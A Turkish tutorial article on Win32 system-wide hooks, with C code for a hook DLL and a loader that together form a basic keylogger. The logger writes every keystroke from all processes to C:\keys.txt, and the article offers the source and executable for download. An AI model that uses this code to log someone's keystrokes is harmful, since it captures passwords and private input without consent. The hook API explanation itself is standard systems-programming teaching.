SİTE
İÇİ ARAMA |
|
Blogroll |
|
|
|
Windows İşletim Sisteminde "Hook" İşlemi |
|
Gönderiliyor lütfen bekleyin... |
|
|
Bu yazımızda windows sistemlerinde (bundan sonra Win32 olarak adlandıracağız) sistem düzeyinde (system-wide) hook işlemlerini incleyip, klavyeyi hook ederek basit bir keylogger programı yazacağız. İlk olarak Win32 de hook işlemlerine giriş yapalım.
Hook Nedir ?
Birçoğumuz düşünmüşüzdür; bir program açılıp kapatıldığında, fareyi ekranda
sürüklediğimizde ya da klavyede bir tuşa bastığımızda acaba windowsun sistem
seviyesinde neler olup bitiyor. Bu işlemlerden Windows API lerini kullanıp
mesajları hook ederek az çok haberimiz olabilir. İşte biz de SetWindowsHookEx,
UnhookWindowsHookEx ve CallNextHookEx Win32 API fonksiyonlarını kullanarak hook
işlemlerini gerçekleştireceğiz. Hook işlemleri Win32 de mesajların ele
geçirilmesidir (Bir nevi mesaj casusluğu da diyebiliriz). Yani hook işlemleri
bizim windows mesajlarını sistemden önce ele geçirip üzerinde işlemler
yapmamıza olanak sağlar.Proses düzeyinde ve sistem düzeyinde olmak üzere iki
türlü hook işlemi vardır. Proses taraflı hook işleminde, pencereye gelen
mesajlar yakalanır ve işlenir (message hooking). Bu yazımızda sistem taraflı
hook işlemi üzerinde duracağız.
Sistem Düzeyinde Hook İşlemi
Öncelikle şunu belirtmeliyim ki sistem düzeyinde hook işlemleri performansı
düşürecektir. Ama bazı uygulamalar vardır ki tek çözüm hook yöntemidir. Win32
de prosesler birbirinden tamamen ayrılmıştır. Yani bir proses başka bir
prosesin pencre fonksiyonunu ele geçirip mesajları yakalayarak işlem yapması
mümkün değildir. Örneğin;
{
hButton = CreateWindow(“button”, ...);
OldFnc = (WNDPROC) GetWindowLong(hButton, ...);
SetWindowLong(...., (LPARAM)MyFunc);
}
|
Burada eğer hButton başka bir prosese ait olsaydı büyük bir probleme yol
açardı. Peki biz başka bir prosesdeki mesajları nasıl yakalayabiliriz. Tabiki
hook yöntemi ile. Bir çok sistem düzeyinde hook türü vardır. Kısaca
inceleyelim:
WH_CALLWNDPROC : Sendmessage fonksiyonu çağrıldığı zaman bu hook türü
gerçekleşir. Bu mesaj üzerinde değişiklik yapamayız.
WH_GETMESSAGE : GetMessage ve PeekMessage fonksiyonları çağrıldığı zaman
bu hook türü gerçekleşir.SendMessage ile gönderilen mesajlar yakalanamaz.
WH_KEYBOARD : GetMessage ve PeekMessage fonksiyonlarından WM_CHAR veya
WM_KEYDOWN, WM_SYSKEYUP, WM_SYSKEYDOWN messajları döndüğü zaman bu hook türü
gerçekleşir.
WH_MOUSE : GetMessage ve PeekMessage fonksiyonları ile mouse ile ilgili
bir mesaj alındığında bu hook türü gerçekleşir.
WH_MSGFILTER : Dialog Box, Message Box, ScroolBar yada menulerden bir
mesaj alındığı zaman bu hook türü gerçekleşir.
WH_SYSMSGFILTER : Sadece sistem düzeyinde hook için kullanılabilir.
WH_MSGFILTER ile aynı özelliklere sahiptir.
Bunlara ek olarak WH_MOUSE_LL ve WH_KEYBOARD_LL hook türleri
vardır. Fakat bunlar sadece Windows NT sistemelerine özeldir. Win9x ler için
kullanılamaz.
Hook işlemi için öncelikle hook fonksiyonunu içeren bir DLL hazırlanmalıdır.
Nedeni ise daha önce de bahsettiğimiz gibi bir proses başka bir prosesin
alanına erişemeyeceğinden bizim hazırladığımız hook fonksiyonu başka proses
tarafından çağrılamayacaktır. Ama hazırlamış olduğumuz DLL belleğe
yüklendiğinde başka bir proses bizim hook fonksiyonumuzu çağırmak istediğinde
DLL dosyamızın bir kopyası oluşturulacak ve bu DLL içinden ilgili hook
fonksiyonumuz çağrılacaktır. Buradaki en önemli sorun şudur. Madem her proses
için DLL bellekte farklı adreslere yüklenebiliyorsa bizim hook fonksiyonun
adresi nasıl tespit edilip fonksiyon çağrılacak? Bunu SetWindowsHookEx
fonksiyonuna DLL in hInstance değeri ve hook fonksiyonumuzun adresi parametre
geçirilirek bu problem halledilir. Şimdi hook işlemi için gerekli fonksiyonları
incelemeye başlayalım.
HHOOK SetWindowsHookEx(
int idHook,
HOOKPROC lpfn,
HINSTANCE hMod,
DWORD dwThreadId
);
|
Bu fonksiyonu kullanarak hook işlemini başlatırız. Fonksiyonun ilk parametresi
hangi mesajı ele geçireceğimizi belirtmek için kullanırız. Mesela klavye
mesajlarını yakalamak için WH_KEYBOARD, mouse mesajlarını yakalamak için
WH_MOUSE değerini kullanmalıyız. İkinci parametres ise eğer mesaj ele
geçirilirse hangi fonksiyonun çağrılacağını belirtir. Bu fonksiyonun prototipi
aşağıdaki gibi olmalıdır.
LRESULT CALLBACK
HookFunc(
int nCode,
WPARAM wParam,
LPARAM lParam
);
|
Bu fonksiyon herhangi bir mesaj yakalandığında parametreleri sistem tarafından
doldurularak çağrılır. Fonksiyonun ilk parametresi yakalanan mesaj ile ilgili
bilgi verir. İkinci ve üçüncü parametreler ise mesaj ile ilgili ayrıntılı
bilgiler verir. Genellikle yapı şeklindedirler. Fonksiyonun üçüncü parametresi
ise bu fonksiyon hangi modül tarafından çağrıldı ise o modülün başlangıç
adresini yani handle değerini belirtir. Son parametre ise hangi pencerenin
mesajını ele geçirmek istiyor isek o pencerenin bulunduğu threadin ID
değeridir. Eğer sistem düzeyinde hook işlemi yapacaksak bu değer 0 olarak
girilerek bütün pencerelerin mesajlarını yakalamak istediğimizi belirtiriz.
LRESULT CallNextHookEx(
HHOOK hhk,
int nCode,
WPARAM wParam,
LPARAM lParam
);
|
Bu fonksiyonu kullanarak eğer başka bir hook işlemi varsa onun çağrılması için
kullanırız. Fonksiyonun ilk parametresi SetWindowsHookEx fonksiyonunun geri
dönüş değerinden elde edilen handle değeridir. Diğer parametreler ise hook
fonksiyonun parametreleridir(HookFunc(….)).
BOOL
UnhookWindowsHookEx(
HHOOK hhk
);
|
Bu fonskiyonu kullanarak hook işlemini sonlandırabiliriz. Fonksiyonun
parametresi SetWindowsHookEx fonksiyonunun geri dönüş değerinden elde edilen
handle değeridir.
Şimdi sistem düzeyinde hook işlemi için gerekli adımları belirleylim ve küçük
bir uygulama olarak klavye mesajlarını yakalayarak bir keylogger programı
yazalım.
1- İlk once hook işlemi için bir DLL hazırlamamız gerekli. Kullanacağımız hook
fonksiyonu bu DLL içinde yazacağız. Paylaşacağımız global değişkenleri
belirleyelim.
2- Bir *.exe hazırlayarak DLL i belleğe yükleyip hook fonksiyonumuzu çağıralım.
DLL Dosyasının Hazırlanması
Daha önce de belirttiğimiz gibi hook fonksiyonumuz başka bir fonksiyon
tarafından çağırmak istediğinde DLL dosyasını belleğe yükler ve fonksiyonu
çağırdıktan sonra DLL dosyasını geri boşaltır. Biz de diğer proseslerin DLL
dosyasını kullanabilemesi için shared (paylaşılmış) bir alan oluşturmamız
gerekli. Bu alanda HHOOK türünden global bir handle alanı diğer proseslerin
erişmesi için paylaşıma açacağız. Bu bölümü oluşturabilememiz için #paragma
komutunu kullanabiliriz. Bu komut ile shared bir bölüm şu şekilde
yaratılabilir.
#pragma
data_seg("hookdata")
HHOOK oldkeyhook = 0;
#pragma data_seg()
|
data_seg() ilk değer verilmiş alanlar için kullanıldığından bu alandaki
paylaşıma açılmış global değişkenimize ilk değer vermeliyiz. Bu bölüm normalde
“copy on write” özelliğine sahiptir. Yani bir proses bu alandaki değikenin
değerini değiştirdiğinde bu alanın hemen ilgili proses için bir kopyası
çıkarılır. Bu neden dolayı bu alanı sharable yapmalıyız. Bunu #pragma comment
komutu ile aşağıdaki gibi yapabiliriz.
#pragma comment(linker, "/SECTION:hookdata,RWS")
RWS ile linkera bu bölümü yazılabilir, okunabilir ve paylaşılabilir yapmasını
söylüyoruz.
DLL dosyasının handle değerini (adresini) tutacak HINSTANCE türünden bir global
değişken tanımlamalıyız. Nedeni ise SetWindowsHookEx ve UnhookWindowHookEx
fonksiyonlarının bu değere ihtiyacı olacak.
HINSTANCE hInst = NULL;
hInst değişkenine DLL dosyasının handle değerini DllMain içinde aşağıdaki
şekilde verebiliriz.
BOOL APIENTRY
DllMain(HINSTANCE hInstance,DWORD ul_reason_for_call,LPVOID lpReserved)
{
switch(ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
hInst =
hInstance;
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
|
Şimdi sıra hook fonksiyonunu yazmaya geldi. Bu fonksiyon dışardan çağrılacağı
için fonksiyonumuzu DLL dosyasının export tablosuna yazmamız gerekli.Bunun için
de fonksiyonlarımızı __declspec(dllexport) biçiminde tanımlamalıyız.
#define DllExport __declspec (dllexport)
DllExport LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM
lParam);
DllExport void InstallHook(int nCode);
DllExport void EndHook();
Öncelikle hook işleminin başlaması için SetWindowsHookEx fonksiyonunu
kullanmalıyız. Bunun için hook işlemini başlatacak ve sonlandıracak foksiyonlar
yazmalıyız.
void InstallHook(int
nCode)
{
oldkeyhook = SetWindowsHookEx(WH_KEYBOARD,
(HOOKPROC)KeyboardProc, hInst, 0);
}
|
Bu fonksiyon ile hook işlemi başlatılıyor. WK_KEYBOARD ile klavyenin hook
edileceğini, hook fonksiyonu olarak KeyboardProc fonksiyonu kullanılacağını,
hInst ile bu modülü, 0 değeri ile de sistem düzeyinde hook işlemi yaptığımızı
belirliyoruz.
Hook işlemini sona erdirmek için ise aşağıdaki fonksiyonu yazıyoruz.
void EndHook(void)
{
UnhookWindowsHookEx(oldkeyhook);
}
|
Şimdi hook fonksiyonumuzu yazalım. Amacımız yakaladığımız tuşları C dizini
altında keys.txt dosyasına yazdırmak.
DllExport LRESULT
CALLBACK KeyboardProc(int nCode, WPARAM wp, LPARAM lp)
{
FILE *fp;
if (nCode > = 0)
{
if ((lp & 0x80000000) ==
0x80000000)
{
fp =
fopen("C:\\keys.txt","a+");
char
lpszName[0x100] = {0};
GetKeyNameText(lp,lpszName,0xFF);
fwrite(lpszName,strlen(lpszName),1, fp);
fclose(fp);
}
}
return CallNextHookEx(oldkeyhook,nCode,wp,lp);
}
|
nCode geçerli bir hook işleminin olduğunuz belirtir. Eğer nCode 0 dan küçükse
CallNextHookEx fonksiyonu çağrılarak işlemi sonladırabiliriz. lp bize basılan
tuşun scan kodunu, wp ise virtual-key kodunu verir. Biz sadece keyup mesajını
yakalamak istediğimizden ((lp & 0x80000000) == 0x80000000) işlemini yaptık.
GetKeyNameText APIsini kullanarak basılan tuşun ismini verir. Son adımda ise
dosyaya tuş ismini yazıp dosyamızı kapatıyoruz. Evet hepsi bu kadar! DLL
dosyamızı hazırlamış olduk. Şimdi bu dosyamızı kullanacak bir .exe
hazırlayalım.Bu .exe ile DLL dosyamızı belleğe yükleyecek ve InstallHook(…)
fonksiyonunu çağırarak hook işlemini başlatacağız.
Hook İşlemi için DLL Dosyasının Kullanımı
DLL dosyasını çalışma zamanında belleğe yüklemek için LoadLibrary API
fonksiyonunu kullanabiliriz. Yüklediğimiz DLL den herhangi bir fonksiyonu
çağırmak için de GetProcAddress API fonksiyonunu kullanırız. Yüklenen DLL
dosyasının handle değerini tutmak için HMODULE türündenbir değişkene
ihtiyacımız olacak.
HMODULE hInstDll;
Fonksiyonların prototipleri şöyledir :
HMODULE LoadLibrary(
LPCTSTR lpFileName
);
|
Fonksiyonun parametresi yüklemek istediğimiz DLL dosyasının adıdır.Örneğin
bizim hazırlamış olduğumuz DLL dosyasının ismini “kbHook.dll” olduğunu
düşünürsek bu fonksiyonu şöyle kullanabiliriz;
hInstDll = LoadLibrary(“kbHook.dll”);
FARPROC GetProcAddress(
HMODULE hModule,
LPCSTR lpProcName
);
|
Fonksiyonun ilk parametresi yüklenen DLL in handle değeri, ikinci parametresi
ise çağırmak istediğimiz fonksiyonun adıdır.
Şimdi DLL dosyasındaki InstallHook ve EndHook fonksiyonlarını çağırmak için
fonksiyon göstercileri tanımlayalım.
void
(*pInstallHook)(int);
void (*pUninstallHook)(void);
|
DLL dosyasındaki fonksiyonları ise şöyle çağırabiliriz.
pInstallHook = (void
(*)(int))GetProcAddress(hInsDll, "InstallHook");
pInstallHook(TRUE);
pUninstallHook = (void(*)(void))GetProcAddress(hInsDll,"EndHook");
pUninstallHook();
|
Bu yazımızda Win32 de hook işlemini, farklı proseslerin mesajlarının nasıl
yakalanacığını,hook işlemi için DLL yazımını ve bu DLL in nasıl kullanılacağını
inceledik. Sizler de hook mekanizmasını kullanarak değişik uygulamalar
geliştirebilirsiniz.Örneğin her pencerenin sistem menüsüne yeni bir menü
ekleyerek isminizi yazdırabilirsiniz.
Yukarda anlatılan uygulamanın kaynak kodlarını ve çalıştırılabilir dosyasını
buraya tıklayarak indirebilirsiniz.
Makale:
Windows İşletim Sisteminde "Hook" İşlemi C ve Sistem Programlama Oğuz Yağmur
|
|
|
-
-
Eklenen Son 10
-
Bu Konuda Geçmiş 10
Bu Konuda Yazılmış Yazılmış 10 Makale Yükleniyor
Son Eklenen 10 Makale Yükleniyor
Bu Konuda Yazılmış Geçmiş Makaleler Yükleniyor
|
|
|